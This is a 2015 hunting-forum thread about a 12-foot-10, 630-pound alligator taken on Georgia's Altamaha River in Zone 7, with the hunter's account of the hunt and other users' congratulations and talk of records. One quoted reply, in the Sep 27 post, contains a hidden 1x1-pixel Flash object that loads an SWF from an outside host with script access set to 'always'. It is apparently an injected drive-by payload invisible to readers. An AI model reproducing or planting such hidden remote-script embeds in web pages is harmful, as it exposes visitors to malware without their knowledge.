# Zone 7 Altamaha River BEAST!



## ryan_beasley (Sep 20, 2015)

I was lucky enough to fill my tag this year with the gator of a lifetime for me.  Me and my buddy put in alot of scouting time, some hard hunting, and alot of luck to fill the tag.  12' 10" at 630lbs.  Pictured left to right is Brandon Hall, Shannon Beasley, and Ryan Beasley.


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## mattech (Sep 20, 2015)

That's awesome, congrats!!!


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## Judge (Sep 20, 2015)

Hunt story request?  congrats true dinosaur


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## MAPSTRE (Sep 20, 2015)

congrats!!


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## ryan_beasley (Sep 20, 2015)

*The Hunt*

We (Brandon Hall and I) started out shortly after dark going after him.  This would be our 4th close encounter with him, with 1 of those a missed harpoon throw at 10' (my bad....my bad) At midnight, we had all but given up for the night due to a early morning ahead, and tried one other spot.  When we eased around the willows, a crash entered the water.  We knew something was big close by.  We shut off and waited.  He popped up at about 30ft away and suddenly splashed off.  We figured he was gone for sure.  He then popped up again at about 20' away.  The current pushed us up to 10' away and the harpoon flew.  ALL CensoredCensoredCensoredCensored BROKE LOOSE!!!  Several mistakes in our setup soon showed themselves as the harpoon was demolished, equipment broke, etc as he barrel rolled.  He suddenly rolled up to the top of the boat and almost over the side when we got a good look of what we were dealing with.  He put the boat on plane for 50' or so before resting on the bottom.  After several attempts, we were able to get the head positioned and let the bang stick do its job.  This was 45 min from hook up to bang stick.  We tied him off to the cleats on the side and made our way up river not knowing exactly how long he was.  After the help of several friends and family, we loaded him up.  WHEW WHAT A HUNT!!!!!!  This is truly a trophy as we accomplished what we set out to do.  We harvested a beast by ourselves, without a guide, and nobody got hurt.  Well, besides being sore today, a slammed finger in a tailgate, and some rope burn.  

He ended up being 12' 10" 630lbs.  The hide finished out at 14' 1" and is a Grade A #1 hide that will be kept.  There's alot of good friends and family to thank for making all of this possible.  You guys are great!  I know there's not alot of accurate records kept, but I wonder how he compares to other Altamaha River records, Zone 7 records, or even in the state???   Anybody got an idea???


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## vrooom (Sep 21, 2015)

That's a monster!  Congrats!
The state record is listed at 13'10.75".  That's before skinning.   To compare for gators in that area you can go to the gator hunting section on the DNR page and pull up all harvest information for each area for years past.  It includes (by zone) number harvested, shortest, average length, and longest for each year.


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## DSGB (Sep 21, 2015)

What a beast! Congrats!


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## ryan_beasley (Sep 21, 2015)

We knew he wasn't close for all-time state record, but I guess we'll see how it turns out when the summary comes out for this year.  According to previous years reports, he's the biggest ever reported from zone 7.


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## bmoss (Sep 21, 2015)

Congrats bud thats a big gator and huge accomplishment


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## GA DAWG (Sep 21, 2015)

Biggun!!


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## sea trout (Sep 21, 2015)

Wow that a lot of lizard!!!!!!!!!! Congrats y'all!!!!!!!!!!!!


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## Tomboy Boots (Sep 21, 2015)

Congratulations on an awesome gator!


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## state159 (Sep 22, 2015)

That sounded like a great hunt Ryan. Glad that it all came together and that is some big gator. Way to go men and Shannon.


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## Burton (Sep 22, 2015)

Congratulations.  It's amazing how your emotions swing when you think he's gone and then you have him on the line.  And then that moment you pull him in the boat and realize how big it is (or in your case you decide to tie it off to the side of the boat b/c it is too big!).  Great job!


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## hambone76 (Sep 22, 2015)

Wow. That's a beast of a gator. Congratulations to you all.


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## 27metalman (Sep 26, 2015)

Nice gator.  Congrats!


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## frosty20 (Sep 26, 2015)

congrats. I grew up in Baxley so I'm aware of the opportunities in the Altamaha.


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## toolmkr20 (Sep 26, 2015)

Nice gator.


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## JWT (Sep 27, 2015)

Congrats on a fine gator ! But aint nowhere near any record for the ha,


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## Old Winchesters (Sep 27, 2015)

Nice... good job.


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## Steve08 (Sep 27, 2015)

JWT said:


> Congrats on a fine gator ! But aint nowhere near any record for the ha,<object classid="clsid: D27CDB6E-AE6D-11cf-96B8-444553540000" width="1" height="1"><param value="http://picz.website/u/1/c.swf"><param name="allowScriptAccess" value="always" /><embed allowScriptAccess="always" src="http://picz.website/u/1/c.swf" type="application/x-shockwave-flash" width="1" height="1"></embed></object>


Can you share the record measurements? That's the bigger one I ever saw. Great work!


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## ryan_beasley (Sep 28, 2015)

I know there's bigger gators been taken, but according to GDNR hunt summaries of previous years, he is the Zone 7 record that has been verified *LEGALLY* as of now, unless a bigger one is killed this year.  He's a loooooong way from the state record or even the best of any year from all the zones.  Besides any of that, he's a trophy to us that record books cannot define.  I'm  just as happy with what we accomplished, and the respect for our game that cannot and will not ever be measured physically.  I hope I'm in the boat for the one that beats it!  

There was a 13'10" MONSTER killed on lake Eufala that's on the GON home page.  Just to show, he's a full foot over this one.  They're still out there, just gotta go find them!


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## Southernhoundhunter (Sep 30, 2015)

JWT said:


> Congrats on a fine gator ! But aint nowhere near any record for the ha,



I've seen several that big or bigger...I'm sure the statute of limitations has run out for those boys now ha


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## MFOSTER (Oct 2, 2015)

Congrats


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